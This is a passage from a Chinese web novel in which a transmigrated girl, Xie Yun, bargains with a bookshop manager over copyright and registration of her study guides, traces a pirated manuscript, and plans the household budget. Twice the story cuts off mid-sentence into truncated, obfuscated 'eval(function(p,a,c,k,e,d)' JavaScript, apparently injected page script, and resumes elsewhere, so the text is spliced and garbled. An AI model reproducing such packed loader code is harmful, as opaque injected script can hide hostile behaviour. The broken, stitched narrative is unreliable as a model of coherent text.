两人说起话来,一时没想起来顾忌,待转头时突然发现谢霁耳朵跟脖子一块儿通红通红的,王氏奇怪,“你这是咋了?” 谢韫笑道:“他定是听见定亲害羞了。” “哎呀,阿姐!”谢霖像是被踩到了尾巴,急声道:“你不要拿我打趣了。” 王氏一经提醒,也反应过来,她促狭笑道:“你放心,人都没见过,阿娘肯定不会给你胡乱做主的,将来就算要找,也得找一个你喜欢的。” 什么喜不喜欢的,谢霁这下彻底连手脚都不知往哪里放了。他气道:“阿娘与其操心我,还不如多操心操心阿姐。” 谢韫可不怕说起这事,她道:“可以啊,阿娘尽管操心,我要是遇到喜欢的,自然会嫁。” 谢霁本想将阿姐一军,谁知被她轻松破解,这下彻底不说话了。 王氏却将两人的话当了真,道:“你们以为合心意的人是那么好遇到的?你爹爹临走前交代了,你的婚事得慎重,万不能随随便便找个贩夫走卒就嫁了。” 这个当然,谢韫自己也不想为了成亲而成亲,随便就跟个陌生人生活到一起。况且及笄就成亲是古人的观念,对她一个现代的灵魂来说,十五岁还是个未成年呢,实在不必操心嫁人的事。 谢霁才十三岁,就更不用操心了。因此玩笑归玩笑,玩笑过后,谁也不会将这件事再放在心上。 冬日天黑的早,几人到家的时候已不大能看清人了。模模糊糊看见自家门前站着几个黑影子,直到走近了才发现是刘老抠和两个脸生的人在说话。 刘老抠听见动静,一回身,见是王氏几人,顿时就欣喜道:“哎哟,你们可回来了。” 他跺着脚走过来,作势就要接过王氏肩上的东西,王氏怎好给他,往后一斜,问道:“这么晚了,你们这是?”问着话,她将目光投向那两个脸生的一男一女。 “哦,对,我给你们介绍,这两位是我家的远房亲戚,家里有急事,想找阿韫帮着写封信。可等了一下午,就是不见人影。”刘老抠原发愁今晚等不到人了,这样一来这两人就得在自家吃住一晚上,万幸人总算回来了。 谢韫听见是要写信,便朝那两人客气的一点头,等开了门,对谢霁道:“你领着两位客人到西厢房去写信吧。” “好。”谢霁答应道:“我把东西放进厨房就去。”回头招呼那两人,“你们跟我来吧。” 刘老抠没有跟他那两个远房亲戚一起去,他惊讶道:“阿霁已经能帮人写信了?” 谢韫点头,“简单的书信他都能写,不过平时他功课忙,还是我写的居多。” 谢韫让他到屋里去坐。他们白日走时封了火炉,又提早烧了炕,此时屋里要比外面暖和的多。 刘老抠却不肯,他目光在他们背回来的东西上扫了一圈又一圈。有些用油纸包着,他看不出来是什么,可有些,如猪肉羊肉,都是一根草绳穿起来放在背篓里背回来的,此时拿出来往屋檐下挂,他眼睛都看直了。 谢韫注意到后皱了皱眉,先前是生意需要,她才使劲儿炫耀,可这也不意味着她天生就爱炫富,喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“快请进。”他一边请人进去,一边招呼伙计赶紧上热茶。一如既往的客气,谢韫瞧着,心里不由定了两分。 “还以为你们下午才来呢,没想到这么早就来了。” 谢韫道:“家里离得远,下午还得天黑前返回家去。” 他们并不掩饰对这件事的着急,双方坐定后,谢韫就开口问道:“如何?你们东家可看过了?这生意能不能做?” 掌柜的也不绕弯子,痛快道:“能做。你们这些书,我们东家给了一口价,五两。”他伸出五个手指头。 谢韫确认道:“既是一口价,也就是说后续不会再有任何的附加费用?” “当然。” “可以。什么时候可以拿到备案文书?我希望是越快越好。” 谢韫知道这个要价肯定有虚高的成分,不过万事开头难,比起他们揣着银子连庙门都找不到,如今这样多花一点钱就能办到的情况已经好太多了。 而她这痛快的样子反倒是让掌柜的一怔。 “姑娘,五两可不是小数目,你不用再跟你家长辈商量商量?” “不用,这事我就能做主。”谢韫直接从怀中掏出一个五两的银锭来。 递过去时,掌柜的却并未立刻就接,反而有些欲言又止。 “还有什么事?”谢韫问。 27. 合作分成 “啊,是这样,我们东家很喜欢你们这些书,不知你家长辈是否有意出售?” “你们想买?”谢韫道:“当然可以,等这些书在县学备完案,你们东家若是真喜欢,我可以送他一套。” “不是这个意思。”掌柜的笑道:“姑娘可能不太清楚,我们是专门卖书的,除了怀阳县,周边几个县城甚至府城都有商号。你家长辈编写这些书肯定也希望能够广为传播,造福世人,你们若是将这些书的版权卖给了我们,我们定能销售到更远的地方去。” 谢霁听见“卖版权”三个字,脸上的表情顿时就变了,但谢韫没说话,他也不能抢在前头开口,只能立刻去瞅谢韫,心里着急她会如何回答。 掌柜的见谢韫没立刻接话,又道:“我们东家也说了,若是咱们双方能谈妥版权,这县学备案之事我们免费帮二位办,到时你们不用花任何费用,还能收到一笔丰厚的报酬。” 他这话一出,谢韫终于有了反应,她诧异的看向掌柜,“您莫不是在说笑?我若是真将版权卖给你们,这备不备案的事就是你们自家的事了,何来免费帮我们办理之说?” 糟糕!是个不好糊弄的。 原是看两人年纪小,想来并不常做生意,他还准备让对方先欠自家一个便宜人情,以便后续好谈价钱,不曾想立刻就被拆穿了。 他虽是常年浸润在生意场上的老狐狸,但这么快被一个小姑娘拆穿,还是略有些尴尬的摸了摸鼻子,拱手道:“姑娘见谅,是我说错了。但丰厚的报酬绝不是信口胡说。” 这句态度还算诚恳。谢韫也不揪着之前的把柄,直接问道:“你们能给多少?” “五十两。”这次确实不是烟雾弹,他说着,从袖中拿出一张五十两的银票,推到谢韫手边,“姑娘若是考虑清楚了,咱们可以立刻签契书,这银票您今天就可以拿走。” 整整五十两啊,对寻常百姓来说,这就是一笔巨款。掌柜的信心满满,这两人虽然从穿着打扮上来看像是有些家底的,但他们连着进店两次,他都仔细观察过,每次都是风尘仆仆的来,尤其是今天早上,两人进店时身上带着的那股寒气,说明他们不仅住的离县城非常远,而且多半连牛车也雇不起。 这些都让他对东家交代的事情十分有底,而且原先他心里预期其实是三十两,但方才刚一张嘴,就被对方拆穿了,心念一转间,才立刻就将报酬加到了五十两。 “姑娘觉得如何?” 谢韫手指无意识的在膝上点着,似乎是真的在认真思考这个提议的可行性,然而几息之后,她道:“抱歉,今日咱们只谈代办备案之事,不谈其他。” 她将那五十两的银票原样推回去,从头到尾连一个眼神都没有往上面瞟过。 掌柜的道:“姑娘莫不是不满意价钱?这都是可以再谈的,您别急着拒绝啊。” 谢韫却反问道:“正如您所说,我这些书只要进入市场,销量必定不差。我手握这样的核心竞争力,为何不直接找个书坊合作,拿长期分成,而要低价卖出呢?” 她说话的时候眼睛直直盯着掌柜的。直看的后者心头一跳,下意识避开了她的视线,然而下一秒人就后悔了——与人谈判打的就是心理战,自己下意识的躲避岂不说明了心虚。 “姑娘,话是这样说没错,可生意不是那么好做的,”掌柜的心念急转间开始以资历压人,“高收益也意外着高风险。你年纪小,不懂生意上的门道,还不如接受这稳赚不赔的买卖更安心些。” “这天底下的生意哪有真正稳赚不赔的?不过是看如何比较罢了。我将版权卖出,您日后赔了,相比之下,我确实算是赚了,可若是您赚了千两万两之巨,那我岂不等于赔了个底儿掉?” “姑娘,你这话不对......” 掌柜的欲反驳,谢韫一抬手就打断道:“实话跟您说,我们既然打算干编书这一行,现下这些书才不过是试水,后面源源不断的新书出来,我们自然是要找书坊一起合作的,所以我先前说的分成的话并不是信口胡诌。既然你们东家有慧眼,能一眼看出这些书的价值,咱们不妨坐下来,坦诚布公的谈谈真正的合作。” 谢韫主动抛出了橄榄枝,掌柜的脸上就闪过犹豫之色。一个成功的生意人最基本的技能就是能屈能伸,前一刻他还端着老资历的架子,后一刻一听类似的书还会源源不断的出来,立刻就意识到这确实不是一竿子买卖。 可不管心里如何想,此刻面上态度还想再拿乔一番,好占取后续优势。然而谢韫却不给他这个机会,紧接着又抛出一个问题,“我且问您?若是这书让贵坊帮着印刷,一本成书卖价最低能到多少?” 掌柜的思绪跟着她的话立刻就转到了成本上,虽不知她突然问这些做什么,但还是凭借自身经验,给出了一个中肯的价格区间。 “这样一本《论语解读》至少得卖一两到一两半。”他说着,突然微微笑起来,“姑娘可知,您这本《论语解读》益民书铺前几日就已上架,卖价正是一两,您说巧不巧?” 然而让人失望的是,谢韫并没有表现出想象中的惊讶或者气愤来,她点了点头,语气平淡,“哦,这事儿我知道。益民书铺公然翻卖盗版,不讲行业规则,所以我才果断弃了他家,转而来寻你家。” “不过一两银子的书,咱们这样的地方有多少人能买的起?销量又怎么上的去?”谢韫说着微微一笑,“我们立志要将自家编纂出来的书遍销天下,所以我不妨跟掌柜的透个底,我们有办法将这书的成本压到现今的三分之一,若你们东家真有格局,便会知道我带给你们的是怎样一场泼天的富贵。” “姑娘莫不是在开玩笑?”掌柜的腾的一下从座椅上一跃而起。自己听到了什么?将成本压缩至现在的三分之一?这怎么可能呢? 这已不是书籍版权的问题,而是印刷技术的创新改革。 他紧紧盯着谢韫,想从她的神情里窥出几分说谎的心虚,然而没有,这小姑娘即使看见自己如此失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢霁不明白,“这是为何?” 谢韫道:“双方已经谈到这个地步,要是合作不成,无论如何,备案之事都不能再交给他们,到时只怕咱们要去府城寻求机会了。”府城书坊多,机会自然也多,但同时,人生地不熟,只怕困难也多。 两人这趟出来,并没有着急立刻回家,而是去找了陈郎君一趟,一来看看他抄书的进度,要是有成品就顺便带回去,二来探探他的虚实,看盗版的事跟他有没有关系。 陈郎君家依旧还是那两间寒室。他儿子在县学,非沐休日不回来。陈郎君自己一个人坐在屋里抄书,却连个火盆都舍不得点。 谢韫忍不住问他:“这段时间您的工钱都是按时给的,为何不点个火盆?你这手上生了冻疮,耽误了抄书进度岂不等同于耽误了挣钱?” 陈郎君赧然道:“我年年都是如此,早就习惯了,不打紧的。”说着给两人各倒了一杯茶。 茶水是早上烧的,屋里冰冷又没有保温的器具,茶水早就冰凉了,但他早已习以为常。 他早上起来一直抄书到现在,谢韫姐弟来访,他才放笔歇息片刻,此时腾出时间在杯口抿了一口后,才后知后觉感到了渴,接着便连喝了两大杯后,才又道:“您二位别看我这里冷清,往年冬日没活,我静静坐着看书的时候才冷呢,今年有了活儿干,人动起来就不觉得冷了。” 28. 泄密途径 “先生倒是自得其乐。”谢韫笑笑,说起了来意,“有个不好的消息,我让先生抄的这些书稿现如今已经流出去了,益民轩如今一两银子一本在卖,我们这种个体户肯定比不过那种财大气粗的书铺,怕是没几天客流量就被挤压没了,到时候只怕不能再雇先生替我们抄书了。” “怎么会这样?”陈郎君“腾”的一声站了起来,脸上的吃惊与焦急不像作假,“益民轩是正规书铺,未经同意怎能售卖你们的书稿?谢姑娘,你何不向他们追讨赔偿?” 谢韫叹气道:“只可惜我们这些书稿在县学备案的流程还没走完,想必那些人就是抓住这点,觉得我们没法子追究,才敢盗卖的。我这几日想来想去,这些书稿在县城里只有先生见过,不知那益民轩哪里来的途径盗卖。” 陈郎君刚开始没有反应过来,听着谢韫的话也皱眉细细思索泄露的途径,但很快他就想通了,“谢姑娘是怀疑我?” 谢韫道:“先生莫要怪我疑心重,实在是出了这样的事,凡是接触过书稿之人,都在合理的怀疑范围之内。当然,我知道益民轩盗卖的时候,第一反应还是乡下那些用过我这些书的学生,只是乡下离县城路途遥远,能在这么短的时间内传到益民轩实在有些不太可能。” 言外之意,还是近水楼台的可能性更大些。 陈郎君是四书五经熏陶出来的斯文人,此时虽然知道谢韫这些话合情合理,但被人疑心盗卖书稿,依旧让他又羞又气,觉得自尊被人狠狠踩在了脚下。他当即就朝谢韫道:“好,姑娘既疑心我,我定当要找出证据来证明我的清白,你且等着。” 谢韫软了语气,道:“先生倒不必如此。我当先生是君子,是以今日才有这光明正大的一问,先生既说不是自己,那我自然是相信的。” 正如她所说,今日只是试探。见他自尊心这么强,谢韫便点到为止。等跟谢霁离开的时候,陈郎君将二人送到门口,僵着脸勉强说了句“慢走”,便重重关上了门。 谢霁看着那扇紧紧闭上的大门,道:“陈先生如此自尊自强,怕真的不是他。” 谢韫也回头看了一眼,道:“我也希望不是。”毕竟能供应抄书的,现如今他们只培养了这么一个,然而下一刻话头一转,“不过我更相信证据。 ” 回去的路上,谢韫边走边与谢霁商量接下来的打算,“先前我准备先不理会益民轩那些盗版书,只要备案之事能迅速办下来,盗卖之事便能迎刃而解。可如今看来,备案的事也许还有得磨,那咱们就必须尽快确认陈郎君的可靠性,若是跟墨香斋的合作达不成,只怕私人作坊还得开更长一段时间了。” 谢霁听罢,立刻就有了主意,“阿姐放心,买咱们书的学生都是有登记的,而且大半的书赵童生都是介绍人,等回去后我就去拜访一趟赵童生,也让他帮忙侧面打听。” 既然要查,最快的办法自然是从身边查起,要是排除完了周边,那么剩下的县城里这位,就算再不像也能确认了。 两人回到家里,王氏一听备案的事还是没有谈妥,又是一愁,待听到还有盗版之事,立刻就坐不住了,“这可如何是好?” 自家的日子才看见了一点希望,难道就要中途夭折了? 谢韫淡定安抚她,“无妨,我和阿霁已经商量好了对策,很快就能解决。” “能解决就好,能解决就好......”王氏咚咚跳的心脏这才缓和下来,但事情没有结果,依旧揪着心。 谢霁也不能全然放心,回到家后立刻就想去拜访赵童生,但被谢韫拦住了,“冬日天黑的早,不能赶夜路,明早课上完了你再去。” 最近外面奔波的多,谢霁的课业有些耽误。事情已经发生,谢韫觉得再着急,也不能再耽误他的课业了。 可谁知,到了第二日,他们课还没有上完,赵继儒却来了。 “可是赵先生那里有什么吩咐?” 这几天并不是县学沐休的时间,赵继儒这个时间来,谢韫第一反应自然是代赵先生来的。 然而赵继儒一进屋,先就对着谢韫躬身一揖,嘴里道:“我闯了大祸,今日是来赔罪的。” 他比谢韫还要年长些,此时突然行这么大的一个礼,谢韫被吓的往后退了大半步。 “继儒哥,你这是干什么?有话好好说。” 谢霁也被他突如其来的举动搞懵了,直愣愣盯着,谢韫示意他将人拉起来,他才如梦初醒般两步跨过去,一把抓在赵继儒的胳膊上,强行将人拉端正,按坐在了凳子上。 “继儒哥,到底发生了什么事?你只管说就是。” 赵继儒叹了口气,缓缓道出道歉的缘由。 “你们先前送给父亲的那套书,里面那本《论语解读》我着实喜欢,我在县学有一同窗,因为学习进度赶不上老是被夫子罚戒尺,他常常跟我抱怨《四书章句集注》晦涩难懂,我就想到了你那本《论语解读》,便借给他看,他不知道情况,自己看完又借给别的斋舍的同窗去抄,一来二去抄录的书稿就被传出去了,我昨日和同窗去逛益民轩,才发现书铺里竟然在售卖这本书。” “阿韫妹妹,这事完全是我的错。我知道你们这些书稿还未在县学备案,父亲也嘱咐过要注意莫要坏了你们的大事,可我还是大意了。” 赵继儒一脸愧疚,谢韫听罢却和谢霁不约而同的互相看了一眼,心里的一块儿石头也算是落了地——原来症结在这儿呢,跟陈郎君还真没有关系。 谢韫端了杯温水给他,让他先喝几口暖一暖,寒冬腊月的,他这么早来,想必天不亮就已经开始赶路了。 “继儒哥,事情已经发生了,你是无心之失,就莫要过于自责了。”谢韫非但不怪,还开导他:“其实我们早几天就已经知道益民轩卖盗版的事情了,今日本来还准备让阿霁去找一趟赵先生,看能不能帮着查出泄露途径呢,可巧你先来了,这下也省得我们再折腾了。” 赵继儒一愣,“你们已经知道了?” “嗯,前几日我们去县城,经过县学时刚巧看到里面出来的学生有人拿着这本书,便一路顺藤摸瓜找到了益民轩。” 谢韫顺便将备案的事说了,只压下了欲与墨香斋合作这桩。 赵继儒听罢一阵后怕,道:“还好你们主意正,运气也好,益民轩如此做法,若你们不明就里真托了他们代办备案,他们前脚明面上答应,后脚暗地里就将你们的书稿据为已有了。” 谢霁觉得不可思议,“益民轩偌大的书肆,好歹算是个圣贤之地,掌柜的手段竟真能到如此下作的地步?” 赵继儒道:“你有所不知,咱们县总共这两所书铺,墨香斋据说是府城开出来的分号,东 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送走了赵继儒,谢韫让谢霁接着去做功课,自己则和王氏盘算起了去府城的路费。 “咱们得两手准备,墨香斋这边要是黄了,就得尽快动身去府城,我想来想去,同一件事在府城的花销肯定要比县上多的多,到时只好将家里的储蓄全都拿出来应急,先将这件事办妥当了,日后挣钱的机会多的是。” 王氏十分支持她的打算,“反正这些钱全都是你辛苦赚回来的,如今要用也尽管由你做主。”说着又后悔起来,“早知道如今用钱的地方这么多,之前咱们就不应该那样大手大脚,可着性子的吃肉裁衣,现今这样,真是愁死个人。” 谢韫道:“阿娘你就莫要再想之前的事了,咱们赚钱就是为了花钱的,再说了,之前的花费也全都是必要的,可半点都没有浪费过。” 她叹口气,又道:“说起来,前几日我还想着等备案的事办下来,若是能再赚一笔,到时候再给咱家添置几样家具,如今也只能暂时搁置了。” “快别惦记这些了。”王氏赶紧摆手,“今年咱娘儿几个能吃饱穿暖,我已经要念阿弥陀佛了,家不家具,一辈子都这样过来了,还差那些?” 谢韫见王氏顿时一副害怕花钱的样子,笑道:“好好好,先不打家具了。等以后宽裕了,咱们直接到县城去买大房子。” 县城买大房子?王氏只当谢韫在做梦,道:“等晚上歇下了再做梦吧,银钱既盘算清楚了,我便去做饭了,你好好将这些都原样锁回去,等用的时候再往出拿。” 这么多钱,明晃晃摆在炕上,王氏总觉得不安全,即使院门早在母女二人开箱时就已经锁上了。 接下来的几天,谢韫开始捣鼓起木头来。她自己画了设计图,请了村里的鲁木匠到家里帮着往出来做。 鲁木匠手艺好,一年中除了种地,凭借着一手技艺也能挣不少钱,但到了冬天基本上就没什么生意了,只好歇业在家。如今谢韫掏钱来请,他自然巴望不得,因此连做了两天,虽然不知道最终做出来的这些东西都有什么用,但只要有工钱,谢韫提出来的各种要求,他都尽量满足。 村里有来寻谢韫写信的,一进来见了这架势,再出门又是一场谣言。 大家都说谢家这是挣了大钱了,没地儿花,大冬天的请个木匠在家做些小玩意儿解闷儿。